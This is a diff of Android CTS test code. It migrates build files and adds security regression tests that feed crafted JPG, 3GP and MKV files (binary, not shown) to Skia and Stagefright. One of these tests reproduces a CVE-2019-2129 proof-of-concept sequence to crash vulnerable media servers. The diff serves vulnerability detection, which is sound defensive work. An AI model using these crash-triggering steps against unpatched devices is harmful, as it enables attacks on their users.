-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
index 4d8f5e3..0335b88 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/Android.mk b/tests/tests/secure_element/access_control/Android.mk
deleted file mode 100644
index f776e48..0000000
--- a/tests/tests/secure_element/access_control/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-cts_out_dir := $(HOST_OUT)/cts/android-cts/testcases
-$(call dist-for-goals,cts,$(cts_out_dir)/CtsSecureElementAccessControlTestCases1.apk)
-$(call dist-for-goals,cts,$(cts_out_dir)/CtsSecureElementAccessControlTestCases2.apk)
-$(call dist-for-goals,cts,$(cts_out_dir)/CtsSecureElementAccessControlTestCases3.apk)
-include $(call all-subdir-makefiles)
-
diff --git a/tests/tests/secure_element/omapi/Android.bp b/tests/tests/secure_element/omapi/Android.bp
new file mode 100644
index 0000000..a18aba1
--- /dev/null
+++ b/tests/tests/secure_element/omapi/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsOmapiTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ ],
+ srcs: ["src/**/*.java"],
+ // was: sdk_version: "current",
+ libs: [
+ "android.test.runner",
+ "android.test.base",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/tests/secure_element/omapi/Android.mk b/tests/tests/secure_element/omapi/Android.mk
deleted file mode 100644
index 1ac3720..0000000
--- a/tests/tests/secure_element/omapi/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsOmapiTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner-axt \
- compatibility-device-util-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_JAVA_LIBRARIES += android.test.runner
-LOCAL_JAVA_LIBRARIES += android.test.base
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index b2412f69..54df055 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -49,6 +49,15 @@
<category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
</intent-filter>
</activity>
+
+ <activity
+ android:name="android.security.cts.SkiaJpegDecodingActivity"
+ android:label="Test overflow in libskia JPG processing">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+ </intent-filter>
+ </activity>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
new file mode 100644
index 0000000..f63f6ef
--- /dev/null
+++ b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
Binary files differ
diff --git a/tests/tests/security/res/layout/activity_skiajpegdecoding.xml b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
new file mode 100644
index 0000000..68a0d68
--- /dev/null
+++ b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent"
+ android:gravity="center"
+ android:orientation="vertical">
+
+ <ImageView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:src="@drawable/signal_sigsegv_in_jmem_ashmem"
+ />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/cve_2019_2129.3gp b/tests/tests/security/res/raw/cve_2019_2129.3gp
new file mode 100644
index 0000000..c461081
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2129.3gp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2327.mkv b/tests/tests/security/res/raw/cve_2019_2327.mkv
new file mode 100644
index 0000000..48a8559
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2327.mkv
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java b/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java
index bfe1f55..60e27e6 100644
--- a/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java
+++ b/tests/tests/security/src/android/security/cts/ServicePermissionsTest.java
@@ -79,6 +79,8 @@
return;
}
+ final ArrayList<String> failures = new ArrayList<>();
+
for (String service : services) {
mTempFile.delete();
@@ -109,7 +111,8 @@
} else {
// Service is throwing about something else; they're
// probably not checking for DUMP.
- throw e;
+ failures.add("Service " + service + " threw exception: " + e);
+ continue;
}
} catch (TransactionTooLargeException | DeadObjectException e) {
// SELinux likely prevented the dump - assume safe
@@ -133,19 +136,29 @@
}
if (lines.size() > 1) {
- fail("dump() for " + service + " produced several lines of output; this "
+ failures.add("dump() for " + service + " produced several lines of output; this "
+ "may be leaking sensitive data. At most, services should emit a "
+ "single line when the caller doesn't have DUMP permission.");
+ continue;
}
if (lines.size() == 1) {
String message = lines.get(0);
if (!message.contains("Permission Denial") &&
!message.contains("android.permission.DUMP")) {
- fail("dump() for " + service + " produced a single line which didn't "
+ failures.add("dump() for " + service + " produced a single line which didn't "
+ "reference a permission; it may be leaking sensitive data.");
+ continue;
}
}
}
+
+ if (!failures.isEmpty()) {
+ StringBuilder msg = new StringBuilder(failures.size() + " services failed:\n");
+ for (String failure: failures) {
+ msg.append(failure).append('\n');
+ }
+ fail(msg.toString());
+ }
}
}
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
similarity index 74%
rename from tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
rename to tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
index 37276e2..8289784 100644
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright (C) 2016 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,15 +14,16 @@
* limitations under the License.
*/
-package com.android.tests.atomicinstall.testapp;
+package android.security.cts;
import android.app.Activity;
import android.os.Bundle;
-public class MainActivity extends Activity {
+import android.security.cts.R;
+public class SkiaJpegDecodingActivity extends Activity {
@Override
- public void onCreate(Bundle savedInstanceState) {
+ protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
}
diff --git a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
new file mode 100644
index 0000000..55525e0
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Activity;
+import android.test.ActivityInstrumentationTestCase2;
+
+public class SkiaJpegDecodingTest extends
+ ActivityInstrumentationTestCase2<SkiaJpegDecodingActivity> {
+ private Activity mActivity;
+
+ public SkiaJpegDecodingTest() {
+ super(SkiaJpegDecodingActivity.class);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mActivity = getActivity();
+ assertNotNull("Failed to get the activity instance", mActivity);
+ }
+
+ public void testLibskiaOverFlowJpegProcessing() {
+ // When this is run on a vulnerable build the app will have a native crash
+ // which will fail the test. When it is run on a non-vulnerable build we may
+ // get a java-level exception, indicating that the error was handled properly
+ mActivity.runOnUiThread(new Runnable() {
+ public void run() {
+ try {
+ mActivity.setContentView(R.layout.activity_skiajpegdecoding);
+ } catch (android.view.InflateException e) {
+ return;
+ }
+ }
+ });
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ if (mActivity != null) {
+ mActivity.finish();
+ }
+ super.tearDown();
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 5539a50..d1daa5a 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -78,6 +78,7 @@
import android.security.cts.R;
import android.security.NetworkSecurityPolicy;
+import android.media.TimedText;
/**
* Verify that the device is not vulnerable to any known Stagefright
@@ -393,7 +394,7 @@
@SecurityTest(minPatchLevel = "2017-08")
public void testBug_38014992() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_38014992_framelen);
- doStagefrightTestRawBlob(R.raw.bug_38014992_avc, "video/avc", 640, 480, frameSizes);
+ doStagefrightTestRawBlob(R.raw.bug_38014992_avc, "video/avc", 640, 480, frameSizes, false);
}
@SecurityTest(minPatchLevel = "2017-07")
@@ -465,7 +466,7 @@
@SecurityTest(minPatchLevel = "2017-03")
public void testBug_33818500() throws Exception {
int[] frameSizes = getFrameSizes(R.raw.bug_33818500_framelen);
- doStagefrightTestRawBlob(R.raw.bug_33818500_avc, "video/avc", 64, 32, frameSizes);
+ doStagefrightTestRawBlob(R.raw.bug_33818500_avc, "video/avc", 64, 32, frameSizes, false);
}
@SecurityTest(minPatchLevel = "2018-01")
@@ -816,7 +817,7 @@
@SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_bug_36279112() throws Exception {
- doStagefrightTest(R.raw.bug_36279112);
+ doStagefrightTest(R.raw.bug_36279112, false);
}
@SecurityTest(minPatchLevel = "2017-06")
@@ -867,8 +868,11 @@
Thread server = new Thread() {
@Override
public void run() {
- try (ServerSocket serverSocket = new ServerSocket(8080);
- Socket conn = serverSocket.accept()) {
+ try (ServerSocket serverSocket = new ServerSocket(8080) {
+ {setSoTimeout(10_000);} // time out after 10 seconds
+ };
+ Socket conn = serverSocket.accept();
+ ) {
OutputStream outputstream = conn.getOutputStream();
InputStream inputStream = conn.getInputStream();
byte input[] = new byte[65536];
@@ -895,7 +899,7 @@
};
server.start();
String uri = "http://127.0.0.1:8080/bug_68342866.m3u8";
- final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(false);
LooperThread t = new LooperThread(new Runnable() {
@Override
public void run() {
@@ -1000,6 +1004,11 @@
doStagefrightTest(R.raw.cve_2018_11287, 180000);
}
+ @SecurityTest(minPatchLevel = "2019-07")
+ public void testStagefright_cve_2019_2327() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_2327);
+ }
+
@SecurityTest(minPatchLevel = "2018-03")
public void testStagefright_cve_2017_17773() throws Exception {
doStagefrightTest(R.raw.cve_2017_17773);
@@ -1109,11 +1118,15 @@
}
private void doStagefrightTest(final int rid) throws Exception {
+ doStagefrightTest(rid, true); // check addresss by default
+ }
+
+ private void doStagefrightTest(final int rid, boolean checkMinCrashAddress) throws Exception {
NetworkSecurityPolicy policy = NetworkSecurityPolicy.getInstance();
policy.setCleartextTrafficPermitted(true);
- doStagefrightTestMediaPlayer(rid);
- doStagefrightTestMediaCodec(rid);
- doStagefrightTestMediaMetadataRetriever(rid);
+ doStagefrightTestMediaPlayer(rid, checkMinCrashAddress);
+ doStagefrightTestMediaCodec(rid, checkMinCrashAddress);
+ doStagefrightTestMediaMetadataRetriever(rid, checkMinCrashAddress);
Context context = getInstrumentation().getContext();
CtsTestServer server = null;
@@ -1129,9 +1142,9 @@
String rname = resources.getResourceEntryName(rid);
String url = server.getAssetUrl("raw/" + rname);
verifyServer(rid, url);
- doStagefrightTestMediaPlayer(url);
- doStagefrightTestMediaCodec(url);
- doStagefrightTestMediaMetadataRetriever(url);
+ doStagefrightTestMediaPlayer(url, checkMinCrashAddress);
+ doStagefrightTestMediaCodec(url, checkMinCrashAddress);
+ doStagefrightTestMediaMetadataRetriever(url, checkMinCrashAddress);
policy.setCleartextTrafficPermitted(false);
server.shutdown();
}
@@ -1162,11 +1175,16 @@
}
private void doStagefrightTest(final int rid, int timeout) throws Exception {
+ doStagefrightTest(rid, true, timeout); // check crash address by default
+ }
+
+ private void doStagefrightTest(
+ final int rid, boolean checkMinCrashAddress, int timeout) throws Exception {
runWithTimeout(new Runnable() {
@Override
public void run() {
try {
- doStagefrightTest(rid);
+ doStagefrightTest(rid, checkMinCrashAddress);
} catch (Exception e) {
fail(e.toString());
}
@@ -1175,6 +1193,11 @@
}
private void doStagefrightTestANR(final int rid) throws Exception {
+ doStagefrightTestANR(rid, true); // check crash address by default
+ }
+
+ private void doStagefrightTestANR(
+ final int rid, boolean checkMinCrashAddress) throws Exception {
doStagefrightTestMediaPlayerANR(rid, null);
}
@@ -1209,6 +1232,8 @@
MediaPlayer.OnPreparedListener,
MediaPlayer.OnCompletionListener {
+ boolean checkMinAddress = true;
+
private final Pattern[] validProcessPatterns = {
Pattern.compile("adsprpcd"),
Pattern.compile("android\\.hardware\\.cas@\\d+?\\.\\d+?-service"),
@@ -1228,6 +1253,13 @@
Pattern.compile("vendor.*"),
};
+ MediaPlayerCrashListener() {
+ }
+
+ MediaPlayerCrashListener(boolean checkMinAddress) {
+ this.checkMinAddress = checkMinAddress;
+ }
+
@Override
public boolean onError(MediaPlayer mp, int newWhat, int extra) {
Log.i(TAG, "error: " + newWhat + "/" + extra);
@@ -1273,7 +1305,8 @@
if (crashes == null) {
Log.e(TAG, "Crash results not found for test " + getName());
return what;
- } else if (CrashUtils.securityCrashDetected(crashes, true, validProcessPatterns)) {
+ } else if (CrashUtils.securityCrashDetected(
+ crashes, checkMinAddress, validProcessPatterns)) {
return what;
} else {
Log.i(TAG, "Crash ignored due to no security crash found for test " +
@@ -1321,11 +1354,21 @@
}
private void doStagefrightTestMediaPlayer(final int rid) throws Exception {
- doStagefrightTestMediaPlayer(rid, null);
+ doStagefrightTestMediaPlayer(rid, true); // check crash address by default
+ }
+
+ private void doStagefrightTestMediaPlayer(
+ final int rid, boolean checkMinCrashAddress) throws Exception {
+ doStagefrightTestMediaPlayer(rid, null, checkMinCrashAddress);
}
private void doStagefrightTestMediaPlayer(final String url) throws Exception {
- doStagefrightTestMediaPlayer(-1, url);
+ doStagefrightTestMediaPlayer(url, true); // check crash address by default
+ }
+
+ private void doStagefrightTestMediaPlayer(
+ final String url, boolean checkMinCrashAddress) throws Exception {
+ doStagefrightTestMediaPlayer(-1, url, checkMinCrashAddress);
}
private void closeQuietly(AutoCloseable closeable) {
@@ -1340,12 +1383,17 @@
}
private void doStagefrightTestMediaPlayer(final int rid, final String uri) throws Exception {
+ doStagefrightTestMediaPlayer(rid, uri, true); // check crash address by default
+ }
+
+ private void doStagefrightTestMediaPlayer(final int rid, final String uri,
+ boolean checkMinCrashAddress) throws Exception {
String name = uri != null ? uri :
getInstrumentation().getContext().getResources().getResourceEntryName(rid);
Log.i(TAG, "start mediaplayer test for: " + name);
- final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
LooperThread t = new LooperThread(new Runnable() {
@Override
@@ -1391,17 +1439,106 @@
t.join(); // wait for thread to exit so we're sure the player was released
}
+ /*
+ * b/135207745
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ public void testStagefright_cve_2019_2129() throws Exception {
+ final int rid = R.raw.cve_2019_2129;
+ String name = getInstrumentation().getContext().getResources().getResourceEntryName(rid);
+ Log.i(TAG, "start mediaplayer test for: " + name);
+
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener() {
+ @Override
+ public void onPrepared(MediaPlayer mp) {
+ super.onPrepared(mp);
+ mp.setLooping(true);
+ }
+ };
+
+ LooperThread t = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ mp.setOnPreparedListener(mpcl);
+ mp.setOnCompletionListener(mpcl);
+ RenderTarget renderTarget = RenderTarget.create();
+ Surface surface = renderTarget.getSurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = null;
+ try {
+ fd = getInstrumentation().getContext().getResources().openRawResourceFd(rid);
+ mp.setOnTimedTextListener(new MediaPlayer.OnTimedTextListener() {
+ @Override
+ public void onTimedText(MediaPlayer p, TimedText text) {
+ if (text != null) {
+ Log.d(TAG, "text = " + text.getText());
+ }
+ }
+ });
+ mp.setDataSource(fd.getFileDescriptor(),
+ fd.getStartOffset(),
+ fd.getLength());
+ // keep the original as in poc by not using prepareAsync
+ mp.prepare();
+ mp.selectTrack(2);
+ } catch (Exception e) {
+ Log.e(TAG, "Exception is caught " + e.getMessage());
+ e.printStackTrace();
+ } finally {
+ closeQuietly(fd);
+ }
+
+ try {
+ // here to catch & swallow the runtime crash in exception
+ // after the place where original poc failed in
+ // java.lang.IllegalArgumentException: parseParcel()
+ // which is beyond test control.
+ Looper.loop();
+ } catch (RuntimeException e) {
+ Log.e(TAG, "Exception is caught on Looper.loop() " + e.getMessage());
+ e.printStackTrace();
+ }
+ mp.release();
+ renderTarget.destroy();
+ }
+ });
+
+ t.start();
+ String cve = name.replace("_", "-").toUpperCase();
+ assertFalse("Device *IS* vulnerable to " + cve,
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ t.stopLooper();
+ t.join(); // wait for thread to exit so we're sure the player was released
+ }
+
private void doStagefrightTestMediaCodec(final int rid) throws Exception {
- doStagefrightTestMediaCodec(rid, null);
+ doStagefrightTestMediaCodec(rid, true); // check crash address by default
+ }
+
+ private void doStagefrightTestMediaCodec(
+ final int rid, boolean checkMinCrashAddress) throws Exception {
+ doStagefrightTestMediaCodec(rid, null, checkMinCrashAddress);
}
private void doStagefrightTestMediaCodec(final String url) throws Exception {
- doStagefrightTestMediaCodec(-1, url);
+ doStagefrightTestMediaCodec(url, true); // check crash address by default
+ }
+
+ private void doStagefrightTestMediaCodec(
+ final String url, boolean checkMinCrashAddress) throws Exception {
+ doStagefrightTestMediaCodec(-1, url, checkMinCrashAddress);
}
private void doStagefrightTestMediaCodec(final int rid, final String url) throws Exception {
+ doStagefrightTestMediaCodec(rid, url, true); // check crash address by default
+ }
- final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+ private void doStagefrightTestMediaCodec(
+ final int rid, final String url, boolean checkMinCrashAddress) throws Exception {
+
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
LooperThread thr = new LooperThread(new Runnable() {
@Override
@@ -1559,17 +1696,31 @@
}
private void doStagefrightTestMediaMetadataRetriever(final int rid) throws Exception {
- doStagefrightTestMediaMetadataRetriever(rid, null);
+ doStagefrightTestMediaMetadataRetriever(rid, true); // check crash address by default
+ }
+ private void doStagefrightTestMediaMetadataRetriever(
+ final int rid, boolean checkMinCrashAddress) throws Exception {
+ doStagefrightTestMediaMetadataRetriever(rid, null, checkMinCrashAddress);
}
private void doStagefrightTestMediaMetadataRetriever(final String url) throws Exception {
- doStagefrightTestMediaMetadataRetriever(-1, url);
+ doStagefrightTestMediaMetadataRetriever(url, true); // check crash address by default
+ }
+
+ private void doStagefrightTestMediaMetadataRetriever(
+ final String url, boolean checkMinCrashAddress) throws Exception {
+ doStagefrightTestMediaMetadataRetriever(-1, url, checkMinCrashAddress);
}
private void doStagefrightTestMediaMetadataRetriever(
final int rid, final String url) throws Exception {
+ doStagefrightTestMediaMetadataRetriever(rid, url, true); // check crash address by default
+ }
- final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+ private void doStagefrightTestMediaMetadataRetriever(
+ final int rid, final String url, boolean checkMinCrashAddress) throws Exception {
+
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
LooperThread thr = new LooperThread(new Runnable() {
@Override
@@ -1649,7 +1800,7 @@
@SecurityTest(minPatchLevel = "2017-05")
public void testBug36895511() throws Exception {
- doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240);
+ doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240, false);
}
@SecurityTest(minPatchLevel = "2017-11")
@@ -1679,7 +1830,7 @@
@SecurityTest(minPatchLevel = "2018-04")
public void testBug_70897394() throws Exception {
- doStagefrightTestRawBlob(R.raw.bug_70897394_avc, "video/avc", 320, 240);
+ doStagefrightTestRawBlob(R.raw.bug_70897394_avc, "video/avc", 320, 240, false);
}
private int[] getFrameSizes(int rid) throws IOException {
@@ -1719,9 +1870,16 @@
}, 5000);
}
- private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight) throws Exception {
+ private void doStagefrightTestRawBlob(
+ int rid, String mime, int initWidth, int initHeight) throws Exception {
+ // check crash address by default
+ doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, true);
+ }
- final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+ private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
+ boolean checkMinCrashAddress) throws Exception {
+
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
final Context context = getInstrumentation().getContext();
final Resources resources = context.getResources();
@@ -1834,9 +1992,15 @@
}
private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
- int frameSizes[]) throws Exception {
+ int frameSizes[]) throws Exception {
+ // check crash address by default
+ doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, frameSizes, true);
+ }
- final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+ private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
+ int frameSizes[], boolean checkMinCrashAddress) throws Exception {
+
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
final Context context = getInstrumentation().getContext();
final Resources resources = context.getResources();
@@ -1970,11 +2134,16 @@
}
private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
+ doStagefrightTestMediaPlayerANR(rid, uri, true); // check crash address by default
+ }
+
+ private void doStagefrightTestMediaPlayerANR(final int rid, final String uri,
+ boolean checkMinCrashAddress) throws Exception {
String name = uri != null ? uri :
getInstrumentation().getContext().getResources().getResourceEntryName(rid);
Log.i(TAG, "start mediaplayerANR test for: " + name);
- final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener();
+ final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener(checkMinCrashAddress);
LooperThread t = new LooperThread(new Runnable() {
@Override
@@ -2018,7 +2187,12 @@
}
private void doStagefrightTestExtractorSeek(final int rid, final long offset) throws Exception {
- final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+ doStagefrightTestExtractorSeek(rid, offset, true); // check crash address by default
+ }
+
+ private void doStagefrightTestExtractorSeek(final int rid, final long offset,
+ boolean checkMinCrashAddress) throws Exception {
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
LooperThread thr = new LooperThread(new Runnable() {
@Override
public void run() {
diff --git a/tests/tests/selinux/TEST_MAPPING b/tests/tests/selinux/TEST_MAPPING
new file mode 100644
index 0000000..a8bae77
--- /dev/null
+++ b/tests/tests/selinux/TEST_MAPPING
@@ -0,0 +1,20 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsSelinuxEphemeralTestCases"
+ },
+ {
+ "name": "CtsSelinuxTargetSdk25TestCases"
+ },
+ {
+ "name": "CtsSelinuxTargetSdk27TestCases"
+ },
+ {
+ "name": "CtsSelinuxTargetSdk28TestCases"
+ },
+ {
+ "name": "CtsSelinuxTargetSdkCurrentTestCases"
+ }
+ ]
+}
+
diff --git a/tests/tests/shortcutmanager/AndroidTest.xml b/tests/tests/shortcutmanager/AndroidTest.xml
index 512330b..29a7f24 100644
--- a/tests/tests/shortcutmanager/AndroidTest.xml
+++ b/tests/tests/shortcutmanager/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- Instant apps can't access ShortcutManager -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsShortcutManagerTestCases.apk" />
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
index a9c17a7..3798883 100644
--- a/tests/tests/simpleperf/Android.mk
+++ b/tests/tests/simpleperf/Android.mk
@@ -19,9 +19,7 @@
libsimpleperf_etm_decoder \
libbacktrace \
libunwindstack \
- libdexfile_support \
- libdexfile_external \
- libdexfile \
+ libdexfile_support_static \
libziparchive \
libz \
libgtest \
diff --git a/tests/tests/simpleperf/AndroidTest.xml b/tests/tests/simpleperf/AndroidTest.xml
index 2f3f38e..c302f8e 100644
--- a/tests/tests/simpleperf/AndroidTest.xml
+++ b/tests/tests/simpleperf/AndroidTest.xml
@@ -18,6 +18,9 @@
<option name="config-descriptor:metadata" key="component" value="bionic" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
+ <option name="user-type" value="system" />
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
<option name="push" value="CtsSimpleperfTestCases->/data/local/tmp/CtsSimpleperfTestCases" />
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
index a721b6f7..bc25d6c 100644
--- a/tests/tests/slice/Android.bp
+++ b/tests/tests/slice/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2008 The Android Open Source Project
+// Copyright (C) 2019 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -24,6 +24,8 @@
libs: ["android.test.runner.stubs"],
static_libs: [
"androidx.test.rules",
+ "compatibility-device-util-axt",
+ "ctsdeviceutillegacy-axt",
"ctstestrunner-axt",
"metrics-helper-lib",
"mockito-target-inline-minus-junit4",
@@ -35,6 +37,6 @@
